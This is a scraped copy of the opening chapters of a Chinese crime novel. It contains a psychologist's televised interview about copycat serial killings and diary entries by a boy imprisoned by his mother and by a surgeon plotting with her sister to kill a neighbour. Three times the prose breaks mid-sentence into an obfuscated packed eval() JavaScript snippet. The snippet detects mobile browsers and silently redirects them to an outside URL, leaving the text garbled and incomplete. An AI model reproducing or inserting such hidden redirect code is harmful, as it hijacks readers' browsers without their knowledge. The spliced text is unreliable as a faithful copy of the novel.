《我,不唯一死者》 1. 不巧婚礼1 1 [犯罪心理学专家的采访记录:] 【——各位观众朋友们,大家下午好!今天真的非常荣幸能够请到冉专家。冉专家已经很久没有上电视了,这次也是顶着非常大的精神压力,配合我们进行了一次短暂的采访。】 【——冉专家您好。】 大家好,很高兴能和大家再次相见。 其实本来是计划三天前接受访问的,但是因为一些私人的事情不得已拖到现在,耽误了很多人的时间,实在是非常抱歉。 相信很多了解我的观众朋友们都知道,我从事犯罪心理学顾问之职多年,也算是小有名气。这档节目大多数受邀嘉宾都是明星人物,大家之所以如此急切地想让我接受访问,更多的原因其实是想让我分析一下近期发生的几场凶杀案件,所以我也跟节目组商量好了,此次采访问题以案件为主。 【——那是当然的,此次专访就是以“变态连环杀手”为题,能不能请您具体讲述一下这起案件呢?】 没问题。相信很多人已经从新闻或者短视频上得知了案件的大概经过,既然你们想听,那我就再讲讲吧。 大家有没有路过放学时的校门口呢?那是什么样子的?是不是一堆学生聚集在一起,要么挤在小卖部里买东西,要么围在一圈儿聊聊当天发生的八卦杂事?总之绝对不会立刻回家。远远看去,别提有多热闹了。可是,近期再次前往同样的地理位置,却早已是别样的光景——原本热闹喧嚣的校门口,如今只剩下寥寥无几的学生。 近期我受邀进过一次高中校园,发现每班请假的学生竟都至少有半数以上,究其原因到底为何? 相信很多人已经迫不及待想要说出答案了——没错,就是因为那两个可恶的连环杀人犯。 昨天,有一位高中生的母亲写了一封长达几千字的信寄到我的工作室,内容很简单——就是她儿子的同班同学失踪了几天,最后被找到了尸体的事。 由于真凶一直没有被警方捉拿归案,导致本省以至于全国都有大量的学生不敢出门,不仅耽搁学业,甚至还受到了生命威胁,闹得可谓是人心惶惶。 小理和小斤是同一所高中的同班同学,两人都是孤儿,在郊区的一所福利院长大,理所应当成了最要好的朋友。由于没有父母的教导,她们成天和一群不良少年混在一起,养成了一些恶劣习惯。 正逢国庆节放假,两位少女因恶意霸凌同学被校领导严厉批评,气愤难平的她们在放学后去了一家地下酒吧,随即消失无踪。鉴于她们经常夜不归宿,又正好是假期的开始,管控没有那么严,校方没能第一时间发现二人的失踪。 凶手行凶的手法尤为残忍。他们把两位少女打晕,脱下她们的上衣,划破她们的腹腔。没错,他们就是想模仿曾经轰动全球的“白教堂连环杀人案*”,也就是众所周知的“开膛手杰克”进行犯案。 不知道是不是因为凶手的心理素质太差,他们没有继续把女孩们开膛破肚,转而模仿起了另外两起案件——“凌濑女高中生水泥埋尸案”和“HelloKitty藏尸案*”。 两具尸体被发现的地点都在同一位置,她们腹部的伤口早已溃烂化脓,少女小斤的头更是和躯体被分开遗弃。也就是说,凶手将腹部受到重伤的两名少女搬回去,用最简单粗暴的方法处理伤口,防止她们提前死亡,随后囚禁了她们一个多月,折磨到身心的极限才残忍地将其彻底杀死。 警方给出了相应的凶手侧写,我可以透露个大概。 凶手是一男一女,极有可能是对夫妻,二人经济水平不低,不存在仇杀、抢劫等可能性。经推断证明,导致他们犯案的,纯粹是完全非人类的变态心理。 两次抛尸的具体时间不同,把路过的行人吓得半死,第二具尸体的发现者更是因心脏病发而进了医院。 前天在网络上,我看到有人认为凶手的目标都是对社会没有贡献的废物青年,凶手的做法其实是在为民除害。我认为提出这种说法的人简直就是丧心病狂! 这的确有可能是凶手为了逃避责任的推卸之词,但绝不可能是其犯罪的主要动机。退一万步说,即使她们对社会毫无用处,也轮不到你们来多管闲事!仅因为自己内心的黑暗就残忍将无辜之人杀害的行为,实在是人神共愤的大罪! 好了,这些是我想对杀人犯说的话。经我的判断,你一定也在看吧。 【——冉专家,我们很理解您的心情,但我们现在是直播。】 啊,真是不好意思。 【——我这里有一个问题,两名死者都是高中生,那是不是意味着其它年龄段的人就不用担心了呢?】 虽然很多人都这样想,但是答案是否定的,因为我的儿子小失直到临死之前,做的都是这样一番感想。 没错,小失在上学期间确实不算是个好学生。他经常和老师顶嘴、翘课、逃学跑到外面去玩,直到毕业之后,他也仍然保持这副习性,不愿意去找工作,一混又是三年。他和我说的最后一句话是:“别管那么多,我已经是成年人了。那个凶手的目标不是高中生吗?没事的,你就爱整天瞎操心。” 我真后悔那天没能阻止他出门。 从小失上小学起,我试过无数种方法——温柔的劝导,严厉的命令,奖励制度的诱惑等等。你们可以想到的教育方法我全部都试过,可结局总是以失败告终。可能是因为他遗传自父亲的基因更多吧。 说到这里,我想问问大家,到底怎样的教育方针才是正确的呢? 聊到这个话题,我们就不得不提到同一时期发生的另一件案子了。想必大家多少也有所耳闻。尽管不是同一凶手,但是拿在一起讨论也并非不可。 这是一起非常复杂的家庭案件,出自一个由母亲带领孩子的单亲家庭。 女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305929|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方温某疯狂迷恋男方乔某。温某深知自己和乔某之间有着非常显著的差距,所以用了一些非法手段,逼迫对方和自己结婚。婚后不久,二人便迅速离婚。温某因此加重了原有精神疾病,整日里疯疯癫癫,甚至在几年后打断了亲生儿子小A的双腿,将他长期囚禁在家。 其子小A是一个十七岁的天才少年。他曾自学了很多有关化学的知识,其中就不乏药物的使用。他因为受不了温某的长期压迫,从而两头挑唆,致使乔某将温某毒杀,后者则是把前者的手脚砍断。而少年小A呢?由于证据不足,被无罪释放了。 结局就是这样,一个人因此丧命,另一个人痛苦终身。只有一人达到目的,从此得到解脱。 【——请问您为什么要讲述这件案子?】 原因很简单,模仿犯的连环杀人导致孩子们惴惴不安,但真正让无数人去思考人性之恶的,却是这起家庭案件。 得知小失已死的消息是在第二天清晨。警局的老朋友打电话告诉我,在另一地点发生了这场悲剧。 赶到现场时,我看到小失以及他另外两个好友的尸体。凶手完美复刻了开膛手杰克的行凶手法,他们的死状不同,但都极其惨烈,身中数刀,肠子被拖拽出来…… 非常抱歉,原谅我实在无法继续说下去。 我把自己关在家里抱头痛哭,不吃饭也不睡觉。就这样过了一天一夜。邻居担心我的情况来敲门,这才发现我晕倒在客厅里,着急忙慌地把我送去医院。 心情稍微平静一些后,我打电话给小失的父亲。我们自离婚后就没再联络过,居然还能找到联络方式,我感到非常吃惊。 小失的父亲是一个典型的富二代。大学时期我们一起参加登山活动,他为了救差点掉下悬崖的我而受了伤。自打那时起,我们便两情相悦。 本来我们婚姻幸福,家庭美满,直到他开始酗酒,长时间夜不归宿为止。我实在是忍无可忍,提出了离婚。 虽然只和儿子相处了不到两年,但是听到儿子的死讯,他也感到无比的悲伤和后悔…… 好像时间也差不多了。 【——是的。】 那好,我最后再对凶手说一句话。 我已经察觉到了你的身份,但你行凶的手法缜密,我还找不到能把你捉拿归案的铁证,所以不能在公共场合说出推测。不过呢,我有一点线索想要公之于众。 所有死者的无名指指腹处都被划破。经过我们的分析,凶手很可能在同样的位置也有一道伤痕,并且这道伤痕对他来说十分重要。 最后,我无比真心地请求你们,停手吧!你们心心念念想要模仿的“白教堂连环环杀人案”已经完美收官,请不要继续残害其他的无辜之人! 【——非常感谢冉专家的到来,今天的采访到此为止。下一次的采访时间三天后的下午一点钟,欢迎观众朋友们在线收看。再见!】 2. 不巧婚礼2 2 8月7日(温芙) 【世界上应该没有母亲会杀死自己的孩子吧?】 【或许有也说不定。】 能平淡地写出这个开头我实在是太可恶了,但是不管舆论风向如何,我都是绝对不会改变这个想法的。 今天又是一大早就醒了。 温雅还是不让我出门,书也看完了,只好靠写日记来打发时间。 从哪里开始写好呢? 腿又开始痛了。 既然如此,就先从那件事情写起吧…… 我出生在一个不幸的家庭。虽然当今社会父母离异的孩子很多,但是我的情况又有所不同。 我的父母高中时期可以说是毫不相干。温雅是典型的不良少女,初中还没毕业就辍学离家闯荡社会,乔莽则是人人称赞的阳光青年,吸引了无数同龄女生的爱慕之情。 他们初中时就读于同一所中学,也就是从那时起,温雅开始迷恋乔莽,成为他众多仰慕者中最疯狂的一个。等乔莽高中毕业之后,温雅用极其下作的手段威逼利诱他跟自己结婚,乔莽不得不答应了下来。 可是强扭的瓜终究不甜,他们不到一年就光速离婚了。温雅死活不肯接受事实,精神病因子达到了最狂热的巅峰。乔莽差点被她偏执到病态的爱折磨到发疯,丢下我这个本不该来到世间的孩子,独自一个人逃之夭夭了。 温雅跑到乔莽就读的大学胡搅蛮缠,导致乔莽被要求退学。后来也因温雅从中作梗,乔莽无论如何都找不到工作。 最后,他们达成协议——温雅不再妨碍他,前提是由乔莽支付我们的生活费,并答应时常来看望她。 从我会说话起,几乎就没怎么出过门。温雅把我锁在房间里,她自己不进来,也不让我出去。房门中间还有一扇小的活动门,方便她来给我送饭或者查看我有什么异动。 就这样,我像个囚犯般生活了十七年之久。 我所在的地方是一个书房。前屋主好像是个科学家,留下了很多书籍。尽管我大多数都看不懂,但是仔细找找,还是能找到一些稍微看得懂的,我便从那些开始看。直到今年年初,我终于把书房内所有的书都看完了。 除了有关化学的书以外,房间里还有不少世界名著、世界经典小说等。其中,我最喜欢的是一本名叫《穰穰满家》的长篇小说。 获取这本书的途径不算有趣。去年十一月,温雅嚷嚷说想换家具的陈设,乔莽不得不顺了她的意思。 装饰架很大,策划师说最好放几本书,以免太过单调。乔莽听取意见,胡乱买了十几本,《穰穰满家》就在其中。后来温雅嫌书本碍眼,便一股脑全扔进了书房里。 我原本不应该对乔莽给的书感兴趣,但当我面朝书架发呆时,却被作者的笔名所吸引——虚无——是个有趣的笔名。 翻开书粗略看了几页,讲述的是一个三十几岁的女人在世界各地旅游的事。 女主人公旅行过的地方很多,甚至囊括一些我从未听说过的国度。她在那些截然不同的地方遇到了风趣横生的事和性格迥异的人,并把它们改编成小说。或许正因如此,小说被翻译成数十种语言,在全球的影响力都非同凡响。 作者本人在后记中写道: 【本书中大部分人物事件均为虚构,但大自然的美景毋庸置疑……因本人身患绝症,不愿死后仍陷于世俗纷扰,遂未留真名,望各位读者谅解。】 这点在前文中很难看出。 作者文笔非常细腻,同时也很擅长将读者拉入营造出来的静谧氛围。美妙却又不失真实性。不同于梦境或幻想中的仙境,这是真正体会过幸福的人才能创作出的文学绝唱。 其实书中的很多场景并不优美,甚至有些落魄。但透过她的文字,我总是能感受到源自心底而非大脑的温度。 前屋主留下的旧台式电脑没有被温雅丢掉。 我退出化学实验视频,登上作品论坛。 有人骂作者过度乐观,立刻引起大批网络攻势: ——人家乐观一点怎么啦?又没有耽误事儿,还顺便拿奖拿到手软。不像某些悲观主义者,整天只知道垂头丧气,最后一事无成~ ——嫉妒人家可以去周游世界呗! ——我就是悲观,你有什么意见吗?这才是被社会毒打的劳动人民真实写照。 ——这位大哥,你到底有没有看过书?主角从小无父无母,后来又被收养她的家庭扔掉了,成年后几经辗转才找到一个安逸的工作。明明过得很惨好不好?况且作者还是位绝症患者。 ——鬼知道他是不是为了博同情,故意卖惨,故意装的? ——楼主指定受过啥刺激,看谁都不顺眼。 ——就是,吃不到葡萄嫌葡萄酸呗,自己心态不好怪谁啊? ………… 争吵还在继续,我退出网页,关了机。 虚无眼里的繁华世景,我倒真想去看一看。 【事情发生在那片血红的天空之下:】 房内有窗,但我不敢靠近。 不是因为恐高,而是因为害怕。 我怕我会羡慕路边打闹的孩童,也怕我会贪恋落日余晖……这些东西皆与我无缘。我无数次告诉自己,心底千万不可以亮起那束可笑的光,因为它只会带我步入更痛苦的绝望。 可最终,我还是败给了那一线希望。 八年前的某一天,我翻过这单三楼的窗户,踩着二楼窗沿跳入观赏性的半米花丛中。 我走在傍晚的街道上,看着那些刚离校的学生,第一次觉得自己不那么嫉妒他们。至少,我已经逃离了那座关押犯人的牢笼,我离成为幸福的孩子又近了一步。 我孤零零坐在公园偏僻的长椅上,思考今后该何去何从。我很清醒地知道不能再回到那个囚笼中,却不知道该走哪条路。浪迹天涯直到死亡的那一刻吗?似乎也是个不错的选择。这样想着,一道冰冷但不薄情的童音似乎在跟我说话。 “你是谁?”声音的主人这样问我。 那是一个看上去比我小一点的女生,穿着与年龄不太相符的深色连衣裙,身上还淡淡的医院消毒水的味道。 “旁边的位置都有人,我能坐这儿吗?” “可以。啊,你好,我……” 我见过的人很少,大多数又根本不需要我开口讲话,一时间发觉自己竟忘了人与人之间该怎样交流。我犹豫着要不要告诉她我的名字,她倒是一点都不好奇,像是单纯为了缓解尴尬而发问。她一直背着手,怪不得我没看到她还拿着本书。 当看到书的封面时,我惊呆了。我之前也在书架里翻到过那本书,讲的是高等生物化学之类的东西。以我当时的水平,根本一点都看不懂。 “你看得懂吗?” “为什么这么问?” “我之前看过,讲的是很深奥的东西。” “是吗?” “你专门来这里看书啊?” “嗯。” “为什么不在家里看呢?” “不喜欢。” “啊?” 我心底的小人在狂喜。 难道她跟我一样? 不可能。我到底在胡思乱想些什么?这个女孩一看就是有钱人家的千金,还能拿着书出来,她怎么可能和我这种人一样? 整个对话的过程几乎都是我问一句,她答一句。见我不说话,她也不发声,任我一个人低着头思绪万千。这时,我看到她手臂上有一块伤疤,不像是利器伤害的。 “你的手怎么了?”我鼓起勇气问她。 “你指什么?”她毫不在意地继续看书。 “你左手手腕上的那个,看上去感觉挺痛的。” 我指了指她手上的伤疤,她无所谓地瞟了一眼。 “这个的话……做实验的时候不小心被药品腐蚀到的。” …………35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305930|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 彼此相对无言地坐了很久,直到太阳变成很深的橘红色。 “天快黑了,你还不回家吗?”她没有合上书,说话的目的可能只是为了驱赶我离开。 “我没有家。”这是我下意识的回答,但是对方极其顺畅地接了下去,“没地方住……那就来我家应聘保姆吧,包吃包住,还有工资。” 我时至今日也分不清这到底是玩笑还是正经的邀请。 人生就像过山车,只要到达最高点,便会迅速跌落谷底。 “小歆,该回家了!” 远处的一个年轻的女人朝我身边的人喊。这个人看年龄应该是她的姐姐。 “好。”她回答完欲走。 不要走!求求你,不要这样走掉!拜托,回来……我心里疯狂呐喊,但现实里却呆呆地看着她离开。 黑夜盖灭刚燃起的火焰,配合着成精的水草将我吞入海底。行人都陆陆续续回家了,四周静得出奇,只剩下一盏路灯和一个溺水的伤者。 我漫无目地摇晃于房屋瓦舍之间。从未独自出门的我不可能知道何处适宜栖身,失魂落魄地坐到花坛边的石凳上。 倘若我不曾遇到火,兴许也感受不到黑夜的冷。墨中闪光的星辰将一切吞噬,我沉沉睡去,或许是晕倒也说不定。 *** 我醒来之时,一切都是那么的熟悉——熟悉的房间,熟悉的桌子,还有……一条不熟悉的手铐? 和现在一样,我的右手和定在墙上的铁环都被铐住。链子不长不短,差不多够我在房间里活动。 被搬回来都没醒,我竟不知道自己睡得这么沉。 门把手转动,啪的一声,门被打开了。不是活动门,而是房门。这扇门打开的次数我单手都数的过来。与我而言,这扇门的开启就等同于恶鬼的到来。 笔盒、水杯,还有那些书,所有能挪动的东西全都砸在我的身上。我拼命闪躲,但无济于事。我被铁链绊倒在地,温雅举起半人高的花瓶,猛地砸在我的膝盖上。 我的腿骨,和花瓶一起碎裂了。 直到那天我才明白,原来痛到极致是无感。 温雅掐住我的脖子,因为力气不够,她把我卡在床头柜上。 真是矛盾,房间里分明没有放床,居然还有床头柜。 她咒骂着说了一些脏话,内容大概是问我为什么要跑,为什么丢下她一个人之类的。这些都不重要了,双腿早已麻木,满身的伤痕感觉不到丝毫痛楚。 我是要死了吗?我该喊救命吗?实际上我很清楚地知道,根本不可能有任何人来救我。 视线越来越模糊,好像有个人靠近我。 是天使,还是下一个恶魔? 我好像恢复了一点意识,但还是动不了。 推车迅速移动。 是在医院吗? 怎么回事?突然有一种新鲜的疼痛。不是已经麻木的双腿,也不是满身的伤痕,而是……有人在掐我? 手术成功——我很想听到这句话,但事实上,因为就医时间太晚,我的双腿废了。 温雅笑得很开心。 听说温雅不久前才找到的亲姐姐温冬正好过来,看见我遍体鳞伤的躺在地上,于强制带我去医院就医。 实在是太巧了,家里的客人只会是各式各样刑具,我从未见过有什么人。 几天后,温冬请了律师,说温雅的精神不正常,她想收养我。结果不出所料,以失败告终。 后来,我的生活中喜提了轮椅和铁链两位朋友。 温雅喜欢跑到乔莽在的公司去找他,但通常都会无功而返。好像半年前听谁说带着我去会更有用,所以我出门的次数也日渐增多。 乔莽公司老板的女儿好像对我这位父亲有意思。那个女人叫山夏。温雅还没发觉,山夏是为了和我传信才准许门卫放她进去的。 今天就先写到这里吧,我嗜睡的毛病好像越来越严重了。 3. 不巧婚礼3 3 8月13日(叶雨青) 辞去医院主刀医生的工作,我今天就可以回去了。 我发消息给妹妹,“亲爱的妹妹,我今天就要回来咯,你有没有想我呀?”,她只回了个“没有”。这家伙还是跟以前一样,对家人都不太亲近。 毫不夸张的说,小歆实在是个高深莫测的小孩,因为她一眼就能把陌生人看穿,就像跟对方生活了几十年似的。自我出国念高中以后,爸妈就非常不自在,只好搬到别的地方去,把这里留给她一个人居住。早知道这丫头这么厉害,我当初就应该把她栓在身边,寸步不离。 住在隔壁的校长曾经是生物化学系的知名教授。小歆经常跑过去玩,校长也很喜欢她,夸张地说她是千年难得一遇的天才,教她很多知识,还陪她做实验,对她比对亲女儿还照顾。在此顺带一提,那个整天乐呵呵,看起来慈眉善目还有些滑稽老头是个单身汉,他做起实验来就像个不知疲惫的疯子,指定是他把妹妹给带坏了。 我觉得小歆老往校长那边跑不太好,毕竟她做实验的时候曾不小心打翻过某种酸性药剂,导致手臂被腐蚀了一大片。不过爸妈对此漠不关心,我也懒得去管。 上大学和工作的时候,我都是就近买房。这次回来,爸妈为我准备了高档小区里的平层。虽然比不上妹妹住的别墅,但对于我来说毕竟也只是一个暂时的落脚地而已,完全够住了。 妹妹带我去看新居。放眼望去确实很不错,装潢布置都没的说,还有一位负责洗衣做饭的保姆,整体非常到位。 小歆压根不坐下,说想回家看书。 这时,楼下传来噼里啪啦砸东西的声音。 听保姆说这里本来房价挺高,一般人买不起,但是楼下连续死了三位住户,不得不按超低价卖出去。前两任屋主姑且不谈,现在住的是个疯女人,动不动就大喊大叫,住在这附近的人早就见怪不怪了。 我虽是外科医生,但从小就喜欢在安静的地方画油画,这样吵吵嚷嚷的可不行。要不然,干脆把她杀掉好了,反正只是一个疯子而已,活着还不如去死——我对废物的看法一向如此。即使他们是是受害者,我也不会同情他们。知道自己是个废物就该自行了断,省得还要浪费地球上的资源。 妹妹似乎又是一眼看穿了我的想法,看着窗外心不在焉地问:“想动手了?” “不可以吗?” 她思索了一会儿,然后缓缓摇头,我不知道她是什么意思。 我拿出纽扣大小的窃听器,这是身为物理学博士的妈妈给我们的。 “你想怎么在城市里搞定一个疯子?我和你一起。”小歆翻出礼盒,随便包了个礼物递给我。“给她的见面礼。”她说。 我领会她的意思,果然还是亲爱的妹妹最有一套。 乘坐电梯到楼下,我按响门铃。 隔了一会儿,门开了。一个差不多四十岁的女人站在门框里,肉眼所见之处皆是一片狼藉。 “你们是干嘛的?” 这个女人光是看上去就不正常,花枝招展的像只染了彩虹色颜料的鸡,脸上的色彩都不能称之为妆,比一两岁小孩子的乱涂涂鸦好不了多少。 妹妹没多看她的脸,假装热情地说:“我们是楼上的新住户,来送见面礼……哎呀,里面好像有东西倒了。” 她说话间就往里面走去。凶阿姨想拦她,我赶紧笑着把礼物塞到女人面前,挡住她前进的路线。 “阿姨,这是价值两万块的丝巾……” 妹妹在房子里转了一圈,恐怕不仅贴了窃听器,还约摸握了什么别的线索。我全程挡在凶阿姨前面,这大妈铁定什么都看不见。 整个过程只有十几秒,她在阿姨发怒之前走出来。 “不好意思,告辞了。”可能是目的达成,她说话时没带什么情绪,如果有的话,也一定是嫌恶。 电梯里,小歆无聊地告诉我窃听器已经装好了,剩下的事情她不想管。 我心里都明白。 出于姐姐的关心,我亲自送她下楼,然后回到房间,打开专门的窃听软件。 一晚上都没发现什么有用的信息,明天再听听看吧,找一个合适的时间处理掉她。这种事情一定要尽快,我实在见不得有愚蠢的疯子在眼前晃悠。 *** 8月13日(温芙) 天还没亮,我照例睁开眼睛,把姑且能称之为被子的东西叠好,放进柜子里。 最近的症状好奇怪,成日里老想着睡觉,但真正睡着又总是醒的很快。拿了本书放在桌子上,一页都还没看完就又打起瞌睡来。 温雅是能呆在家里就绝不出门的个性,可她前天凌晨居然破天荒地出去过一次。半梦半醒之间,我被关门的声音吵醒,还以为是错觉,直到再一次听到开关门的声音才敢确定。 温雅半夜出门不可能有好事。昨天我在网上看到有高中女生离奇失踪的消息,以我对温雅的了解,她突然出门八成和这件事情有关。可惜的是,即使知道大概关联也无济于事。我现在自身难保,对于其他的事情实在是有心无力。 “我们是楼上的新住户,来送见面礼……” 我被这魂牵梦绕的声音给惊醒。 虽说世上的巧合不多,但门外的音色如此相像,让我不得不怀疑她就是当年的小歆。 我转动轮椅靠近房门,将手放在活动门上。我知道那个地方肯定上了锁,但就是有一种描绘不出的奇异力量让我试着去推开它。 吱呀——活动门开了? 难道温雅忘记上锁了吗?比起这个,我倒更宁愿相信是天使善意的小小举动。 记忆中的少女还停留在四年前的模样,不过和现在也没什么太大差别,仍然穿着深色系的八分裙,身上的消毒水味好像比以前更浓,手臂上依旧存在化学药品留下的特殊标记。 真的是她!她就在离我只有一墙之隔的地方! 我目不转睛地盯着她,她也无意间看见了我。 我们是楼上的新住户,来送见面礼——这句话在我脑海里回响。 原来,她真的搬到了楼上。 忽然闪过的念头告诉我,这是一个千载难逢的绝佳机会。我在阴冷幽暗的海底待的太久了,这里不该是我的归宿。 听到关门声后,我久违地坐在窗前,看风将树吹的招摇,第一次体会到世界的生机。 要游出海面的话,第一步就是斩断缠绕在我身上的水草。 明天上午温雅应该会带我去找乔莽,计划就从这里开始好了。 *** 8月14日(温芙) 隐约听见钥匙钻入锁孔的声音,我警觉地转动轮子退后,尽量离门远些。可无奈房间只有这么大。 温雅来到我身边,毫无预兆地扇了我一巴掌。她不打算解释原因,可能根本也没有什么理由。换作平常,我一定像个死人般一声不吭,任由她推出去毫无意义地晃一圈,然后回来继续照常生活。但是今天,我开口了。 “……母亲。” 温雅恶狠狠的用鼻音哼了一声。 “您是要去找父亲吗?” “关你什么事?” 她先是像听到哑巴说话一样奇怪,然后极其厌恶地去解我手腕上的镣铐。 “也是,父亲最近好像工作特别忙,很久没来看您了。上次山夏姐姐和我说,她过段时间要和父亲一起出去度假,我们这要是去晚了,怕是就见不到了。” 我注视着她,忽然觉得这个女人其实没有这么可怕,她只是一个迟钝的疯子而已。 “你说什么?那个贱人已经开始勾引我的莽莽了?” 温雅知道二人有来往,但不知道他们已经到了谈婚论嫁的地步。我必须要营造出时间紧迫的假象,逼迫他们赶紧大打出手。只有这样,我才能早日得到解脱。 “父亲真是不让人省心,跑来跑去,惹您生气。” “跑来跑去……跑来……都像老鼠一样!为什么世界上所有人都喜欢到处乱窜?像我一样好好坐在家里不行吗?可恶,我不能让莽莽被那个女人拐走。莽莽是我一个人的。我们得赶紧去他的公司,就算他在工作也无所谓,我要去见他,把他牢牢地抓住。” 事态发展出乎意料的顺利。虽然她愚蠢到连我是什么时候开始和山夏对接的都没有察觉,但她至少还有脑子,只要我继续推波逐澜下去,她一定会毫不犹豫地跳进我为她挖好的陷阱。 等等,温雅刚才把轮椅撞到桌子上,我无意间碰到了纽扣大小的东西。它在桌子上粘得很紧,我用力抠了下来,突然想起之前来过的少女。 这个东西确实很像纽扣,但如果是她的话,一定没有那么简单。 我想想……难道是窃听器?那样的话就太好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305931|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 现在想起来,这么简单的事,我为什么不早点动手?因为我这么做的条件是弑亲?还是因为我失去双腿之后,离开这里就没有办法生存下去? 公司大门只能通过指纹解锁或面部扫描的方式打开,但是来来往往的员工很多,高科技的大门似乎也成为了摆设。即使温雅推着我尾随一位员工进入公司,一旁心不在焉的保安也装作毫无察觉。 我们一路往前,温雅一看到乔莽就把我丢到一边,开心地跑了过去。 “莽莽,原来你在这里呀,真是让我好找呢!你这个时间不是应该在工作吗?怎么在这里呀?哎呀,这不重要啦,我是想让你跟我一块儿回去。我出门之前已经把饭做好了,你好像也快下班了吧?” 温雅出门前精心装扮过,不同于在家里的胡乱打扮,经过保养的脸上眼影口红一样不落,浅灰色的长裙完全掩盖了她身上的戾气,极力凸显出她还算曼妙的身材。她抱着乔莽的一只手左右摇晃,跟恋爱中的少女对男友撒娇别无二致。如果忽略被她抛在远处的我,那么在别人眼中,她绝对能够胜任“贤妻良母”这一角色。 乔莽看起来还是和以前一样英姿勃发,浑身透着和年龄不太相符的干练和帅气。他脸色瞬间发绿,和别人羡慕的神色完全相反。 他把温雅拉到一边,尽量小声地对她说:“我不是说过让你们不要再来了吗?我得空了就一定会回去看你的。你们不要再来了,这样会影响到我的工作!” “怎么会?我记着的,你今天只上半天班,中午十二点就下班了。哟,已经11点49了。你看,你都站在休息区了,分明就是已经没有工作了嘛。” “你到底想干什么?”乔莽咬牙切齿的低吼,语气里明显夹杂着愤怒。 “也没什么,就是想过来看看莽莽你呀,顺便再把你最喜欢的鲜榨果汁带来。”温雅双手捧着饮料瓶举到乔莽眼前。 “你快点走,等我过几天有时间会去看你的。” “不要,你现在就跟我走。” ………… 剩下的全都是些无聊至极的对话,我实在不想把它们写下来浪费时间。 又过了一会儿,他们终于说完废话,温雅走过来推我。 她一过来就抱怨什么“都是因为山夏那个女人”,“莽莽为什么不肯立刻跟我走”,“居然差点跟我闹翻”什么的。我一点都不想听,但还是等她抱怨完。 我转过头对她说:“母亲,让我去试试,我有办法让父亲今天就来。” 听到这个消息,温雅眼前一亮,问我是不是真的可以让乔莽今天就来找她。我装作老实本分地回答:“我哪里敢骗母亲?只不过要麻烦母亲推我过去,让我跟父亲单独聊聊。” “什么,你要单独去?不行!”被触及到了敏感的词汇,温雅立刻充满警觉。 我当然知道她的禁忌是什么,但我必须这么说。这是关乎生死存亡的赌博,我一定要稳住心神,战争正式开始,只要一步踏错便会满盘皆输。 “母亲,这是一个绝佳的机会,只要母亲答应,我有把握让父亲对您回心转意。如果怕我逃跑,您大可不必担心……”我低头的盯着双腿,不知道自己是怎样说出这句话的。骨头断裂的声音我时至今日都记得非常清楚,每当我闭上眼睛时,那些可怕的画面就会不停地放映出来,让我无数次在噩梦中惊醒。 如果可以,我也不想在本该无忧无虑的年纪学会市侩。不过我已经放弃了,我早就不再妄想和普通的孩子一样得到幸福。即便人人都渴望公平,但这世间毕竟不公,山地、平原、丘陵皆不相同,人又怎么能指望一同美满呢? 我不再犹豫,这一仗我必须胜利。就算达不到美好的起点,我也不愿意继续被囚禁在水深火热之中。 恨父母与杀人同罪,可做不到就是做不到,当怨恨产生之时,罪名就已经成立了。我只想顶着这个罪名自救,别无他求。 对于温雅来说,如果要在儿子和爱人之间做出选择,那么她绝对会在一秒钟之内勾出乔莽的名字。血脉的联系告诉我,只要能把她的心爱之人留在身边,占着我母亲头衔的人愿意付出任何代价,哪怕这个代价是以性命作为陪葬。 公司外的走廊尽头绝对无人经过——温雅对此深信不疑。她守在公司门口,对于任何想要出门的员工都充满了敌意。她绝不会容许有人打搅到我和乔莽的“谈判”。 4. 不巧婚礼3 *** 8月14日(叶雨青) 今天我一直在听楼下的动静,意料之中地获得了不少信息。 妹妹说窃听器贴在客厅的桌子底下,还有一个少年被囚禁在某一个房间里,按年龄来看应该是温雅的儿子。 他们今天好像要去少年父亲的公司。届时就没办法窃听了,总不能叫我亲自跟过去。我这样想着,对面传来了某样东西和窃听器触碰的声音。 难道被发现了?我略微有些防备。 小歆很无所谓地打趣说:“你有心帮他,猜猜他会不会配合?” 妹妹比我小九岁,目前是高一的学生。按理说她现在应该在学校上课,但是天才好像都有一点怪异之处,比如,小歆对学校有种莫名的厌恶,像是里面藏着无数只臭虫。我猜想她这些反常的举动应该和儿时的经历有关。 一般情况下,她只会在重大考试的时候才去几天学校,其他时间都在家里休息或者找校长做实验。我觉得她最近应该没有什么重要的事情,便强制邀请她过来陪我解闷儿。 轮椅少年好像一直都把窃听器带在身上,所以我们得以知道他们在公司里的对话。 先是温雅要乔莽跟她回去,然后是温芙和乔莽的单独对话。 内容很多,反正我也无聊,还是整理下来比较好。 【附】: 